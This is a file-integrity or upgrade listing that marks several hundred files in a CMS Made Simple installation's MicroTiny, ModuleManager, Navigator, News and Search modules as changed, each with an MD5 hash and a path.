CHANGED :: 397857f1d4ff74beb9b79568d7d8aa54 :: \modules\MicroTiny\lib\js\tinymce\langs\pt_BR.js
CHANGED :: 0ce2d2d804458d4990e9b3cc513b8858 :: \modules\MicroTiny\lib\js\tinymce\langs\pt_PT.js
CHANGED :: d9f83500e65259dd54ab5ca961fe5281 :: \modules\MicroTiny\lib\js\tinymce\langs\ro.js
CHANGED :: 4ed9c8f0f3c69496ff7578219e02992d :: \modules\MicroTiny\lib\js\tinymce\langs\ru.js
CHANGED :: bab974dac90d32e890ea22e7018cde38 :: \modules\MicroTiny\lib\js\tinymce\langs\sk.js
CHANGED :: 3fd93508b8dc19cd19a6b57540b9d8c8 :: \modules\MicroTiny\lib\js\tinymce\langs\sl_SI.js
CHANGED :: 74a060deeb7318a1c847d2eea81de79a :: \modules\MicroTiny\lib\js\tinymce\langs\sr.js
CHANGED :: 5c8ab6cdd8af2f519b96156d49d8cb36 :: \modules\MicroTiny\lib\js\tinymce\langs\sv_SE.js
CHANGED :: 3fde13492a74b85f12bb3e6c4be26f1d :: \modules\MicroTiny\lib\js\tinymce\langs\ta.js
CHANGED :: d0c26108048e45429077997dec4dfb0d :: \modules\MicroTiny\lib\js\tinymce\langs\ta_IN.js
CHANGED :: a1e94df8bee3f9f7b03a60cb9de6abf1 :: \modules\MicroTiny\lib\js\tinymce\langs\th_TH.js
CHANGED :: 4b87331e96e08a7f1f70f8497a321a65 :: \modules\MicroTiny\lib\js\tinymce\langs\tr.js
CHANGED :: 300ae0f37becfcc7a290173dbf46f18e :: \modules\MicroTiny\lib\js\tinymce\langs\tr_TR.js
CHANGED :: cce26fbc28aa2e0426b1afe3a9976345 :: \modules\MicroTiny\lib\js\tinymce\langs\ug.js
CHANGED :: 3c0326d0c41666e6357409cc79feb138 :: \modules\MicroTiny\lib\js\tinymce\langs\uk.js
CHANGED :: 1006ff238e940ab7e4b2faab1d51ac6e :: \modules\MicroTiny\lib\js\tinymce\langs\uk_UA.js
CHANGED :: 89db7c756023b0767ea3de96ed906ae4 :: \modules\MicroTiny\lib\js\tinymce\langs\vi_VN.js
CHANGED :: df2e8073e7129a4c9c09bfc7deee5055 :: \modules\MicroTiny\lib\js\tinymce\langs\zh_CN.GB2312.js
CHANGED :: ed5c27c7111641af6553105bfa369440 :: \modules\MicroTiny\lib\js\tinymce\langs\zh_CN.js
CHANGED :: 65b8ba487ae762604056c894b0347f16 :: \modules\MicroTiny\lib\js\tinymce\langs\zh_TW.js
CHANGED :: 6f9589e0c8df783acd1760d203bafffa :: \modules\MicroTiny\lib\js\tinymce\license.txt
CHANGED :: 671e4981e4ce072dc7d4189437cdea1c :: \modules\MicroTiny\lib\js\tinymce\plugins\cmsms_filepicker\plugin.min.js
CHANGED :: be193992617bda8e46e95b6eee2f5f4f :: \modules\MicroTiny\lib\js\tinymce\plugins\cmsms_linker\plugin.js
CHANGED :: b22fe62c99c3b16def08de033322b06c :: \modules\MicroTiny\lib\js\tinymce\plugins\cmsms_linker\plugin.min.js
CHANGED :: 0de543e14079b2ccb1cb3f25b8065e76 :: \modules\MicroTiny\lib\js\tinymce\plugins\mailto\plugin.min.js
CHANGED :: 84ffd2b813696cd39647edb83440ba4c :: \modules\MicroTiny\lib\js\tinymce\plugins\table\plugin.min.js
CHANGED :: f1277d98c26cc9b26bc1c17cdb06bcca :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\content.inline.min.css
CHANGED :: 09a8e927e49e3515d737e6846b5948af :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\content.min.css
CHANGED :: 12d26c285b71d790f4b0c94423ef1f99 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce-small.eot
CHANGED :: a2a1f732cc34764c684ed521c6f3327c :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce-small.svg
CHANGED :: 28806940c647cf671bebf4ae0630e570 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce-small.ttf
CHANGED :: 7e0c88f02dcaf2f78c90b4dc7827b709 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce-small.woff
CHANGED :: 6196b6eb25b52ac8bbe4a94e6da8ae27 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce.eot
CHANGED :: 7262d908f15434ec7c3ae2126bc87350 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce.svg
CHANGED :: aefbfcb02f143d3b3d3e47ff3de8efb1 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce.ttf
CHANGED :: a7a41ea9358b658ec53e9d042334c1a8 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\fonts\tinymce.woff
CHANGED :: abd3613571800fdcc891181d5f34f840 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\img\anchor.gif
CHANGED :: 394bafc3cc4dfb3a0ee48c1f54669539 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\img\loader.gif
CHANGED :: f3726450d7457d750a2f4d9441c7ee20 :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\img\object.gif
CHANGED :: 12bf9e19374920de3146a64775f46a5e :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\img\trans.gif
CHANGED :: b7da29baf0549e017bdeaa2d836db37b :: \modules\MicroTiny\lib\js\tinymce\skins\lightgray\skin.min.css
CHANGED :: 35e769209cbe82809585ccc3f28f73a1 :: \modules\MicroTiny\lib\js\tinymce\tinymce.min.js
CHANGED :: d27240871a9abb4954cdbe0b15d54dc6 :: \modules\MicroTiny\method.install.php
CHANGED :: b745ad287d0ad359d8b7b9fedc551f49 :: \modules\MicroTiny\method.uninstall.php
CHANGED :: c1488f8a0af04a653f62c4b42f2df4ba :: \modules\MicroTiny\method.upgrade.php
CHANGED :: 5d9953aecf1906255fb92ce2c87ac2a8 :: \modules\MicroTiny\MicroTiny.module.php
CHANGED :: 0a9daa05b8bf1b34a43986e8c174c47b :: \modules\MicroTiny\templates\admin_editprofile.tpl
CHANGED :: f545826ccb6ec731fa8559b15017a4cb :: \modules\MicroTiny\templates\admin_example.tpl
CHANGED :: 26c47893bcd5ad79af14ff7286f7b4e9 :: \modules\MicroTiny\templates\changelog.tpl
CHANGED :: 09e8bf799864071fc5ca7abadef98945 :: \modules\MicroTiny\templates\filepicker.tpl
CHANGED :: bae02d9bf0fd8ec1865c2afc654b4206 :: \modules\MicroTiny\templates\settings.tpl
CHANGED :: 6eaa795d1fedbf1d2850f2047a095c5d :: \modules\MicroTiny\templates\tinymce_config.js
CHANGED :: 63107b8b5f47bc82d7477e46a07d8035 :: \modules\ModuleManager\action.defaultadmin.php
CHANGED :: df4ceea1d00f03961120d1ee2ffacc40 :: \modules\ModuleManager\action.installmodule.php
CHANGED :: 34c4da45550f473301f91979007dd307 :: \modules\ModuleManager\action.local_about.php
CHANGED :: e4edd7d35519bb53addfb69155cc490c :: \modules\ModuleManager\action.local_active.php
CHANGED :: 2265923e9be17723188dccd4b18cb427 :: \modules\ModuleManager\action.local_chmod.php
CHANGED :: ce754b978031f450e2f11ef5a68584e8 :: \modules\ModuleManager\action.local_export.php
CHANGED :: 088572cb74b8f006b18ff38b80c17ad3 :: \modules\ModuleManager\action.local_help.php
CHANGED :: 9a1ffb56dd7fbe4fd95ccce4d4180701 :: \modules\ModuleManager\action.local_import.php
CHANGED :: 7d972fea3421e4b42c5c3f3832fd4f06 :: \modules\ModuleManager\action.local_install.php
CHANGED :: cfde4d99b3eddc62287b099c331f018a :: \modules\ModuleManager\action.local_missingdeps.php
CHANGED :: dfdcff4d3ef7c2be5c5c1d5910bbc9fb :: \modules\ModuleManager\action.local_remove.php
CHANGED :: da6e8bd93264a229ed1ee0e9904334be :: \modules\ModuleManager\action.local_uninstall.php
CHANGED :: 6809c8098aa122cde5335a1a3289057e :: \modules\ModuleManager\action.local_upgrade.php
CHANGED :: 3f9f6e84cabfd7ba09fde902f6ff6912 :: \modules\ModuleManager\action.moduleabout.php
CHANGED :: e6fa242678168acc09da8715d6d3b13e :: \modules\ModuleManager\action.moduledepends.php
CHANGED :: 766ef0ecb58b9925cec4cba8cbe3b391 :: \modules\ModuleManager\action.modulehelp.php
CHANGED :: 656c5aaf834be74460c167c88f13ea82 :: \modules\ModuleManager\action.modulelist.php
CHANGED :: 3115435a1d2e3f3f01a0f32613b433fe :: \modules\ModuleManager\action.setprefs.php
CHANGED :: 2aedcfa8194c0a012526fef446157792 :: \modules\ModuleManager\changelog.inc
CHANGED :: d32239bcb673463ab874e80d47fae504 :: \modules\ModuleManager\docs\COPYING
CHANGED :: d10c1569833d62db136f52a70602c29c :: \modules\ModuleManager\function.admin_installed.php
CHANGED :: abbab606bafa0832722e6445c91010c0 :: \modules\ModuleManager\function.admin_modules_tab.php
CHANGED :: dce3dc4b3dd800f214f961ff1b9d1a12 :: \modules\ModuleManager\function.admin_prefs_tab.php
CHANGED :: b09c8dc9551e87b2b43f20b8e3be78e9 :: \modules\ModuleManager\function.newversionstab.php
CHANGED :: 12735deec8031e52b6d7f63bd0571827 :: \modules\ModuleManager\function.search.php
CHANGED :: a7a5a0e67a8271f24234cf3f2af0ef6b :: \modules\ModuleManager\images\deprecate.png
CHANGED :: e18f3ed8a494f0b318c2ed4e620117bb :: \modules\ModuleManager\images\error.png
CHANGED :: a04851160e8d8b6c55a52d333ea8b9e0 :: \modules\ModuleManager\images\icon.gif
CHANGED :: 679cf10fd21acbd683d86ed9156193da :: \modules\ModuleManager\images\icon.png
CHANGED :: 87afddae914f0c689210edd4c049c1a8 :: \modules\ModuleManager\images\new.png
CHANGED :: 260df106d5171bf2864ba145f500bce3 :: \modules\ModuleManager\images\puzzle.png
CHANGED :: 7ac947a99f6bed295e0a93658b9fd066 :: \modules\ModuleManager\images\star.png
CHANGED :: bbe8c05ca112221299bf23724f87eade :: \modules\ModuleManager\images\system.png
CHANGED :: 8b08dfe8074fb55a7589385f6b030d10 :: \modules\ModuleManager\images\warn.png
CHANGED :: 769fc3835044a1ed003fa67215335666 :: \modules\ModuleManager\images\xml_rss.gif
CHANGED :: dc802cd36ace419e73e62039cba8fcc8 :: \modules\ModuleManager\lang\en_US.php
CHANGED :: 7e024c73a30867490c98d42e9e6188c9 :: \modules\ModuleManager\lang\ext\ar_AR.php
CHANGED :: a1bb83977ab4752ef83ce6148fa310e7 :: \modules\ModuleManager\lang\ext\ca_ES.php
CHANGED :: 7cf9819f6ee1a9db8b8b354ee69f23ea :: \modules\ModuleManager\lang\ext\cs_CZ.php
CHANGED :: d30c4410c9ec45f49da8c88a8672434d :: \modules\ModuleManager\lang\ext\da_DK.php
CHANGED :: 89299dc102b82ef2b68af17ba2ae77af :: \modules\ModuleManager\lang\ext\de_DE.php
CHANGED :: f787e0dc1b4c82631bb4f9cd56455e02 :: \modules\ModuleManager\lang\ext\el_GR.php
CHANGED :: 75473db966c5a7d0de4768b1307bda5a :: \modules\ModuleManager\lang\ext\en_CY.php
CHANGED :: fcf1758181ed9334896ae94a9d9c8158 :: \modules\ModuleManager\lang\ext\es_ES.php
CHANGED :: 0d8c00e9b8995efb4e09af61e53655c9 :: \modules\ModuleManager\lang\ext\et_EE.php
CHANGED :: 5722336ff700f43e1929f64d03855c6b :: \modules\ModuleManager\lang\ext\fa_FA.php
CHANGED :: 5722336ff700f43e1929f64d03855c6b :: \modules\ModuleManager\lang\ext\fa_IR.php
CHANGED :: 5f5b126945135ca26eb5e84fa51310f4 :: \modules\ModuleManager\lang\ext\fi_FI.php
CHANGED :: 92d1f638fe85048dea3abbccfb4ebc77 :: \modules\ModuleManager\lang\ext\fr_FR.php
CHANGED :: b96fafd136ce035a073a3346a5b4fa43 :: \modules\ModuleManager\lang\ext\hr_HR.php
CHANGED :: ab4029644026271d7ea0bf2394b767ed :: \modules\ModuleManager\lang\ext\hu_HU.php
CHANGED :: 3d3057a98db7dcfbab735524e1eb5923 :: \modules\ModuleManager\lang\ext\it_IT.php
CHANGED :: 88e00b7bc410df103aab58cd05b007a0 :: \modules\ModuleManager\lang\ext\iw_IL.php
CHANGED :: a57069bfa46a7e08d456e043a8280ff4 :: \modules\ModuleManager\lang\ext\ja_JP.php
CHANGED :: 5da726e028e51a8f2989cfe39c803c34 :: \modules\ModuleManager\lang\ext\lt_LT.php
CHANGED :: 43d1607b0013af64b634b243fc136a8e :: \modules\ModuleManager\lang\ext\nb_NO.php
CHANGED :: 68ec26845a4ccc07a2c4767ba7cfb532 :: \modules\ModuleManager\lang\ext\nl_NL.php
CHANGED :: 77cd027ec2f8ae637ec9acef1a80dbf5 :: \modules\ModuleManager\lang\ext\pl_PL.php
CHANGED :: e3fd18b839fe6d4bce853b8eb9f2d5e5 :: \modules\ModuleManager\lang\ext\pt_PT.php
CHANGED :: 8bd9f0aa8bf56bd2713dc0462558af1c :: \modules\ModuleManager\lang\ext\rm_CH.php
CHANGED :: 336045755e7a9af190ea35f645fd01f8 :: \modules\ModuleManager\lang\ext\ro_RO.php
CHANGED :: f5e4f867f4149eb5e5af46a13ae12b16 :: \modules\ModuleManager\lang\ext\ru_RU.php
CHANGED :: 7f52d14933360f1fbc5fb4762b8920f8 :: \modules\ModuleManager\lang\ext\sk_SK.php
CHANGED :: feeb9ee419cf02177ce6314ebef72ead :: \modules\ModuleManager\lang\ext\sl_SI.php
CHANGED :: 1d080324802c780800ca71273c525bad :: \modules\ModuleManager\lang\ext\sr_YU.php
CHANGED :: 3079bbf912f5e729e96abce56f94d7e1 :: \modules\ModuleManager\lang\ext\sv_SE.php
CHANGED :: aa826a0d6b4f0ac7e9db971f49c4c7b5 :: \modules\ModuleManager\lang\ext\tr_TR.php
CHANGED :: beaac46a14dc5a6239eadc14680342c9 :: \modules\ModuleManager\lang\ext\uk_UA.php
CHANGED :: 54e672fe77f5332e9e213579502c4dc6 :: \modules\ModuleManager\lang\ext\zh_TW.php
CHANGED :: 107204e17600302d231179a32abc8e03 :: \modules\ModuleManager\lib\class.modmgr_cached_request.php
CHANGED :: ebf40f1b834dd7cb6ed9abe883b3f5fe :: \modules\ModuleManager\lib\class.modmgr_utils.php
CHANGED :: c84cf9d6245a3ce7e6740d5713a9dfc4 :: \modules\ModuleManager\lib\class.ModuleManagerModuleInfo.php
CHANGED :: 6dd9ddbbe33567bf36234220cb99169d :: \modules\ModuleManager\lib\class.modulerep_client.php
CHANGED :: 3c797a833535856d0b7d1fe987cbd677 :: \modules\ModuleManager\ModuleManager.module.php
CHANGED :: 64ce240fcd3a34f2027516ccbeb5190c :: \modules\ModuleManager\templates\adminpanel.tpl
CHANGED :: f5f9dea6675a04898299b02647894ee6 :: \modules\ModuleManager\templates\adminprefs.tpl
CHANGED :: 9840fd2a660968aa4c72380cc4fddabb :: \modules\ModuleManager\templates\admin_installed.tpl
CHANGED :: 94b93abb289cd25d1a0436f6e18d81e2 :: \modules\ModuleManager\templates\admin_search_tab.tpl
CHANGED :: b18bb01b0c855acc5037a6da3281303c :: \modules\ModuleManager\templates\display_install_results.tpl
CHANGED :: d1cd59ed4f47b4c7e0012ea605efdc71 :: \modules\ModuleManager\templates\error.tpl
CHANGED :: 202a6cbe833ee26b71dc7b4daf2ca46f :: \modules\ModuleManager\templates\installinfo.tpl
CHANGED :: 85dd176338512768f3a67477b1db5f3b :: \modules\ModuleManager\templates\local_about.tpl
CHANGED :: 12c109462c5b8d8d76d00e37b6272e6e :: \modules\ModuleManager\templates\local_help.tpl
CHANGED :: 9054b970892d5859ff34f064e515d130 :: \modules\ModuleManager\templates\local_missingdeps.tpl
CHANGED :: a2136a1228433c09086dc58a345f1a3c :: \modules\ModuleManager\templates\local_uninstall.tpl
CHANGED :: 7678343fd137b965df4bb0b62f6b1086 :: \modules\ModuleManager\templates\newversionstab.tpl
CHANGED :: b284cc49af94beebd42e822f1878d9da :: \modules\ModuleManager\templates\postinstall.tpl
CHANGED :: a679ae26d019bc0370e285ef3e29d458 :: \modules\ModuleManager\templates\remotecontent.tpl
CHANGED :: aae0f95ad7e6f0d87cc4ebd00e71c68e :: \modules\ModuleManager\templates\showmodule.tpl
CHANGED :: 27763f46340f3b63d70ad1b9c6d179eb :: \modules\Navigator\action.breadcrumbs.php
CHANGED :: fe25b02e6352279c3fe43977f90647a7 :: \modules\Navigator\action.default.php
CHANGED :: 00da815bc1244e0eeba01372f82d1627 :: \modules\Navigator\changelog.inc
CHANGED :: d6646625430d2421fb6e48c4d0787318 :: \modules\Navigator\doc\tpltype_breadcrumbs.inc
CHANGED :: 305b1c26e975f787a589969d5d1aad48 :: \modules\Navigator\doc\tpltype_navigation.inc
CHANGED :: ee0eb8b47e3c3c47ed963689123176f6 :: \modules\Navigator\lang\en_US.php
CHANGED :: e1a8d61f9c8ae991f96f1c4445b6a218 :: \modules\Navigator\lang\ext\da_DK.php
CHANGED :: 5228c8734022e6bca1525a85de0e7880 :: \modules\Navigator\lang\ext\de_DE.php
CHANGED :: 6454dcf4e39b908705579220182ade23 :: \modules\Navigator\lang\ext\fr_FR.php
CHANGED :: 90975f21f3af4ae786fa605e1c6ddb21 :: \modules\Navigator\lang\ext\it_IT.php
CHANGED :: 271d572d65785b53b1d911a4cd5a3c15 :: \modules\Navigator\lang\ext\nb_NO.php
CHANGED :: fca82dc43db7fb706d7e214bfc122c3e :: \modules\Navigator\lang\ext\nl_NL.php
CHANGED :: 9c30e28c637503fe197bb8639d94b9c6 :: \modules\Navigator\lang\ext\ru_RU.php
CHANGED :: 2a89e1163b3498ac4a9e61419777e02a :: \modules\Navigator\lang\ext\sr_YU.php
CHANGED :: 8da12eeb87361b9d97fe643ae6595189 :: \modules\Navigator\lang\ext\tr_TR.php
CHANGED :: 0f94cf892d80a1105fa54ab38d71e07c :: \modules\Navigator\lang\ext\uk_UA.php
CHANGED :: 0d84ac29467313a0c0195114bd797545 :: \modules\Navigator\lang\ext\zh_TW.php
CHANGED :: a44bf6da7647ad8e2f862afc081cc058 :: \modules\Navigator\lib\class.Nav_utils.php
CHANGED :: b0accbe84c85a1cb16da91830619f26c :: \modules\Navigator\method.install.php
CHANGED :: d6905da8a496593c52817985e9fa2119 :: \modules\Navigator\method.uninstall.php
CHANGED :: 0eba5fe918b8cfd8a7503b9adba5ac9b :: \modules\Navigator\method.upgrade.php
CHANGED :: 3fe785be4fa03b388ac9681c11bb77ab :: \modules\Navigator\Navigator.module.php
CHANGED :: 5422fe3f8d901684894454a9da82b908 :: \modules\Navigator\templates\cssmenu.tpl
CHANGED :: 3f2ae1aac03f663b34a355e1bf286477 :: \modules\Navigator\templates\cssmenu_ulshadow.tpl
CHANGED :: d83e7e687b2e5eb0d42a5281f992bb4a :: \modules\Navigator\templates\dflt_breadcrumbs.tpl
CHANGED :: 86124869c18b62c6e1211cb2318f9651 :: \modules\Navigator\templates\minimal_menu.tpl
CHANGED :: 08509b89c7f14b4f2412c63d29b0b406 :: \modules\Navigator\templates\Simplex_Footer_Navigation.tpl
CHANGED :: f35cd581d13373dddca36b486abb8f42 :: \modules\Navigator\templates\Simplex_Main_Navigation.tpl
CHANGED :: bdde1ec9811955b09e52165e67ba6429 :: \modules\Navigator\templates\simple_navigation.tpl
CHANGED :: dd59aa45f32f03a6abb85eb1c2d1e29f :: \modules\News\action.addarticle.php
CHANGED :: 22f7a077a29f2d0d53826e5af7532ba4 :: \modules\News\action.addcategory.php
CHANGED :: 0dc6f47344cea166b469ad02c5fb647a :: \modules\News\action.admin_addfielddef.php
CHANGED :: 48c0f2e094579d8edef6623db08dbebf :: \modules\News\action.admin_deletefielddef.php
CHANGED :: 323425c62228d787c8d0c065796560fa :: \modules\News\action.admin_editfielddef.php
CHANGED :: 867ff536c52ed1b99345b5bf1e9605a6 :: \modules\News\action.admin_movefielddef.php
CHANGED :: 2ee9ccc71091aed1b614dbc9ee0ad280 :: \modules\News\action.admin_reorder_cats.php
CHANGED :: c318b83cc7e76717bf2f8232c9eb5a3b :: \modules\News\action.admin_settings.php
CHANGED :: 1cb8cabe40bac14737df4cd3b04c2d7d :: \modules\News\action.approvearticle.php
CHANGED :: 84f6a6d78db8f8d4a917d5b6703c846a :: \modules\News\action.browsecat.php
CHANGED :: 7fcdbd120b3d6bb6833f8bd7dab38394 :: \modules\News\action.default.php
CHANGED :: 3ff9e551bbf1d15d1d72559b61430f7f :: \modules\News\action.defaultadmin.php
CHANGED :: 980a231d9e9226cdd5e88fbb28203b5b :: \modules\News\action.defaulturl.php
CHANGED :: 35008f6b660e4c1312a491caf08a9db8 :: \modules\News\action.deletearticle.php
CHANGED :: 630b2d50d8e82938da7c65918354762d :: \modules\News\action.deletecategory.php
CHANGED :: 9568f3e0b4192aa9b70987ad0b3304d6 :: \modules\News\action.detail.php
CHANGED :: ad7ce3fa21d8b62fbd0732b441fddf68 :: \modules\News\action.editarticle.php
CHANGED :: a638f04007d3371b2d4466643b29d8a1 :: \modules\News\action.editcategory.php
CHANGED :: d4ce7479bc3bc752928a6fad9408be29 :: \modules\News\action.fesubmit.php
CHANGED :: c4b77f19b3b644cfb038974b67dbac77 :: \modules\News\action.updateoptions.php
CHANGED :: 3e9418df0d25979934434cf9bffb0cf0 :: \modules\News\changelog.inc
CHANGED :: b2073227516c84824413ccddf52544dd :: \modules\News\doc\tpltype_browsecat.inc
CHANGED :: a4b154615be0fcd01cce4197afd8edfe :: \modules\News\doc\tpltype_detail.inc
CHANGED :: aa7e57d7f273e909b7d0892d187f5c71 :: \modules\News\doc\tpltype_form.inc
CHANGED :: 3bb3c27f9c40f1233b5701b9544f0e12 :: \modules\News\doc\tpltype_summary.inc
CHANGED :: 7eaa9a9ec4ce86c5969fb85ec593aae5 :: \modules\News\function.admin_articlestab.php
CHANGED :: 940e20e92416bbc8f7d095ecfaec439b :: \modules\News\function.admin_categoriestab.php
CHANGED :: af76991dbd8c1a565692f1c0b482b0b3 :: \modules\News\function.admin_customfieldstab.php
CHANGED :: cb8a8c92df5a094432eac83ac9a94be2 :: \modules\News\function.admin_optionstab.php
CHANGED :: 51e003d49a8d0dd77ece45ecda15a0d5 :: \modules\News\images\icon.gif
CHANGED :: 30cbbc4eedb7889a5b5b7e42634a7a59 :: \modules\News\images\icon.png
CHANGED :: a6bf725fffa3ea7c1249af668600a904 :: \modules\News\lang\en_US.php
CHANGED :: de2653453b4681ec16170356179bb097 :: \modules\News\lang\ext\ar_AR.php
CHANGED :: dc12f0b0b091eff8282655ea2bd8fa0c :: \modules\News\lang\ext\bg_BG.php
CHANGED :: 77863102991396a8a6e1a7614a57e95b :: \modules\News\lang\ext\ca_ES.php
CHANGED :: 32f087ed434f5e0638cf51031918cfad :: \modules\News\lang\ext\cs_CZ.php
CHANGED :: cff149ebc4b31b65f730d9d09ce82480 :: \modules\News\lang\ext\da_DK.php
CHANGED :: 0d120f9c7fe26622b43804b235bf9ce6 :: \modules\News\lang\ext\de_DE.php
CHANGED :: 6def6f6e8c825d8e5c76696376a59cfa :: \modules\News\lang\ext\el_GR.php
CHANGED :: c7ccfac7831d933279c0276095a73625 :: \modules\News\lang\ext\en_CY.php
CHANGED :: 7ff502a3efdc99018ad939126d406c68 :: \modules\News\lang\ext\es_ES.php
CHANGED :: d8d7df2c48dada4951c4a33c128b3baa :: \modules\News\lang\ext\et_EE.php
CHANGED :: 257ee9e769067b0f5599807ae20a551e :: \modules\News\lang\ext\eu_ES.php
CHANGED :: aba6b7ff0e5994afa3f39c5943fb0709 :: \modules\News\lang\ext\fa_FA.php
CHANGED :: aba6b7ff0e5994afa3f39c5943fb0709 :: \modules\News\lang\ext\fa_IR.php
CHANGED :: 605e16ff65e7ffe79b6174c323c0642d :: \modules\News\lang\ext\fi_FI.php
CHANGED :: 4399e5e8a01424f12963cf0a85643991 :: \modules\News\lang\ext\fr_FR.php
CHANGED :: 12bb85853929a713d218e0ffe71c0b95 :: \modules\News\lang\ext\hr_HR.php
CHANGED :: 80ff762cec06e038afe43a6ec39300c7 :: \modules\News\lang\ext\hu_HU.php
CHANGED :: f4a7a6ee2efada7b6cf691a1ca350fad :: \modules\News\lang\ext\id_ID.php
CHANGED :: 87c3bbf01cedfdf95baade5a64f2ec88 :: \modules\News\lang\ext\it_IT.php
CHANGED :: 47421611e1938c3225ffb6a91fecbf78 :: \modules\News\lang\ext\iw_IL.php
CHANGED :: a080ff9731e8f730fde8cf2caa890500 :: \modules\News\lang\ext\ja_JP.php
CHANGED :: c74c548f1b3bb62209d8d8b805eeaea0 :: \modules\News\lang\ext\lt_LT.php
CHANGED :: 394ff35bfca66d9076a67f02c9db8550 :: \modules\News\lang\ext\mn_MN.php
CHANGED :: 80c4379b4f7562c9354f2513004bd2cf :: \modules\News\lang\ext\nb_NO.php
CHANGED :: 79be87ac9b4cd9711c0e088aae9010f7 :: \modules\News\lang\ext\nl_NL.php
CHANGED :: 90d1b9243254f178340af895c7813524 :: \modules\News\lang\ext\pl_PL.php
CHANGED :: adb159091b2c5baa5ea4a5eea02d4a93 :: \modules\News\lang\ext\pt_BR.php
CHANGED :: c6d05877b62e7df85028eb0d0fc5447f :: \modules\News\lang\ext\pt_PT.php
CHANGED :: 0d40f82b97e1016073fabffc6e17f28d :: \modules\News\lang\ext\ro_RO.php
CHANGED :: a692aa0b7788c7f77ca3ba00ccf76061 :: \modules\News\lang\ext\ru_RU.php
CHANGED :: 6bf46ffeaa54b2cae92a89bbf9271a9b :: \modules\News\lang\ext\sk_SK.php
CHANGED :: 703fd9d7ef778b9087819b5d84924aca :: \modules\News\lang\ext\sl_SI.php
CHANGED :: 5281804f989c2109bd3ee9dc6eff7428 :: \modules\News\lang\ext\sr_YU.php
CHANGED :: b186aaf95d823a110b134f3b4910b331 :: \modules\News\lang\ext\sv_SE.php
CHANGED :: 88ba309f6761390e37485cac6adfd86a :: \modules\News\lang\ext\tr_TR.php
CHANGED :: 598f0a28dacc019182e7ef19dcb39943 :: \modules\News\lang\ext\uk_UA.php
CHANGED :: c7ccfac7831d933279c0276095a73625 :: \modules\News\lang\ext\vi_VN.php
CHANGED :: 7bab47fcfeb29b54c7b06fc3182fcfa6 :: \modules\News\lang\ext\zh_CN.php
CHANGED :: e6a984b4c3302764e15e56c1b88ba847 :: \modules\News\lang\ext\zh_TW.php
CHANGED :: 4f3a07bb8ca6ffcb233e352929b54ea7 :: \modules\News\lib\class.CreateDraftAlertTask.php
CHANGED :: 500da3fb55613d0e0677ebd72159ec0c :: \modules\News\lib\class.DraftMessageAlert.php
CHANGED :: cac4bd345eed3c03f14e8be0051a1231 :: \modules\News\lib\class.News_AdminSearch_slave.php
CHANGED :: 55a592b8140b447aa80e22e15bcb7a39 :: \modules\News\lib\class.news_admin_ops.php
CHANGED :: 4ad70b6bc70336dcef989ca9017cdd60 :: \modules\News\lib\class.news_article.php
CHANGED :: 9e2995d9c14d33a421e1519557b54c01 :: \modules\News\lib\class.news_field.php
CHANGED :: 86256a01ecc5fd24ec2ea69829eba114 :: \modules\News\lib\class.news_ops.php
CHANGED :: 553a98b5c65bfe5bb40b9bbb9a4bca5f :: \modules\News\method.install.php
CHANGED :: dd65979ebc6460ed4f54d1c88f0a0d82 :: \modules\News\method.uninstall.php
CHANGED :: 1f73bbd16a37c180191a546a71444389 :: \modules\News\method.upgrade.php
CHANGED :: d351446ac069a30ece5ee275e8e86969 :: \modules\News\News.module.php
CHANGED :: 550c75cc6219dbe69091d9002817b705 :: \modules\News\templates\adminprefs.tpl
CHANGED :: 3268222334c2951856fd4ab1eef5fc61 :: \modules\News\templates\admin_reorder_cats.tpl
CHANGED :: 9f13ddd8dee9b3bb1e23cb0fa47a4a7f :: \modules\News\templates\articlelist.tpl
CHANGED :: c3b7d733a3a55a36e1d4e95616ad7331 :: \modules\News\templates\browsecat.tpl
CHANGED :: d54e2b730026a4f22ce624a448c9c611 :: \modules\News\templates\categorylist.tpl
CHANGED :: 052db6f31136385aeeee377a70754401 :: \modules\News\templates\customfieldstab.tpl
CHANGED :: 34e7537c55eb79458df59e379a1ad282 :: \modules\News\templates\editarticle.tpl
CHANGED :: 6fdf20dda47b1a182b4636896e010582 :: \modules\News\templates\editcategory.tpl
CHANGED :: 6d66a9103d05e6b307d7de49bc719d87 :: \modules\News\templates\editdefaulttemplate.tpl
CHANGED :: 05045100edd2398a467ef0cc11a695f0 :: \modules\News\templates\editfielddef.tpl
CHANGED :: ce94d36143412c6ecfd3efd8eb110c70 :: \modules\News\templates\edittemplate.tpl
CHANGED :: e3ffbf0926a09f30bec1627cd54e8516 :: \modules\News\templates\edittemplates.tpl
CHANGED :: a24c29397d18002b7308fde96d958e51 :: \modules\News\templates\orig_detail_template.tpl
CHANGED :: cf5eadd0c4d6e066355b0767d4a339cd :: \modules\News\templates\orig_form_template.tpl
CHANGED :: 3455ee56f25cbb96c5d2244e65eddd33 :: \modules\News\templates\orig_summary_template.tpl
CHANGED :: 9e2d409f43289c4198ce7e9477a499e5 :: \modules\News\templates\Simplex_Detail_template.tpl
CHANGED :: 5bffb703da52bed3088cbc578f831abd :: \modules\News\templates\Summary_Simplex_template.tpl
CHANGED :: 3761f2b506e42aaf25bd661bd0e52b15 :: \modules\Search\action.default.php
CHANGED :: ce09cd07e02818570fa466addd9b63c7 :: \modules\Search\action.defaultadmin.php
CHANGED :: 4b0d3dc6f13b75b801c6fe9df0efc614 :: \modules\Search\action.dosearch.php
CHANGED :: e2cfa22d58d403d20a72ccdb8beb6723 :: \modules\Search\action.keywords.php
CHANGED :: 443652646da43bbd48d817daa23c4cb8 :: \modules\Search\changelog.inc
CHANGED :: 162ad6c23b8e1269a95d6072f45b5356 :: \modules\Search\function.admin_statistics_tab.php
CHANGED :: 09724f7c4f1398dbd513c2c0ad66b3e5 :: \modules\Search\images\icon.gif
